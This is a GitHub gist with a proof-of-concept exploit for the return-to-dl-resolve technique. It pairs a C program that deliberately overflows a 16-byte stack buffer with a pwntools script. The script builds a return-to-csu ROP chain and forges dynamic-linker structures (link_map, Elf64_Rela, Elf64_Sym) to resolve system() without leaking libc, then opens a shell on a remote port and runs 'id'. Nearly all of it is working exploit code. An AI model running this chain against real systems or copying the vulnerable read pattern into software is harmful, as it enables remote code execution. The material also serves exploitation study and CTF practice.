Last active
October 10, 2018 20:24
-
-
Save Jinmo/7208f25b1f8edbc72f8259fb99c23cbe to your computer and use it in GitHub Desktop.
32/64bit return-to-dl-resolve, when libc is known. couldn't find original article, so rewrote it from memory.. will add link if found.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// gcc % -fno-stack-protector | |
#include <unistd.h> | |
int main() { | |
char buf[16]; | |
read(0, buf, 0x10000); | |
return 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# PoC to call system() from read GOT | |
# Assume we have libc binary, and binary is partial relro | |
# given buf nearby any library pointer (ex. got), we can run &(the pointer + input). | |
r = remote('0.0.0.0', 31338) | |
read_got = 0x601018 | |
dl_runtime_resolve = 0x4003f6 | |
poprdi = 0x4005b3 | |
csu_pop = 0x4005aa | |
csu_call = 0x400590 | |
link_map = read_got | |
buf = read_got + 64 | |
sizeof_rela = 24 | |
sizeof_dyn = 16 | |
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') | |
cmd = 'sh\x00' | |
# l_info (STRTAB = &readable, SYMTAB=ours, JMPREL=can be original if using GOT, else ours) | |
stage2 = p64(0) * 5 + p64(buf) + p64(buf + 8 * 0x18 + sizeof_dyn + sizeof_rela) + p64(0) * (0x17 - 7) + p64(buf + 8 * 0x18) | |
# Elf64_Dyn for JMPREL - original one can be used | |
stage2 += p64(0) + p64(buf + 8 * 0x18 + sizeof_dyn) | |
# --> Elf64_Rela (&writable. &system will be written to address, 7, <anything>) | |
stage2 += p64(libc.bss(0) - libc.symbols['read']) + p64(7) + p64(0) | |
# Elf64_Dyn for SYMTAB - must point ours | |
stage2 += p64(0) + p64(buf + 8 * 0x18 + sizeof_dyn + sizeof_rela + sizeof_dyn) | |
# --> Elf64_Sym (st_other & 0xf != 0) | |
stage2 += p32(0) + p8(18) + p8(0xff) + p16(0) + p64(-libc.symbols['read'] + libc.symbols['system'] & (2 ** 64 - 1)) + p64(0) | |
stage2 += cmd # if the binary doesn't have "sh" string | |
payload = 'A' * 16 + p64(0) | |
# return-to-csu: read(0, buf, len(stage2)) | |
payload += p64(csu_pop) + p64(0) + p64(1) + p64(read_got) + p64(len(stage2)) + p64(buf) + p64(0) + p64(csu_call) | |
payload += p64(0) * 7 | |
# system("sh"), but &system with dl-resolve | |
payload += p64(poprdi) + p64(buf + len(stage2) - len(cmd)) + p64(dl_runtime_resolve) | |
payload += p64(link_map) + p64(0) | |
r.send(payload) | |
pause() | |
r.send(stage2) | |
time.sleep(1) | |
r.sendline('id') | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment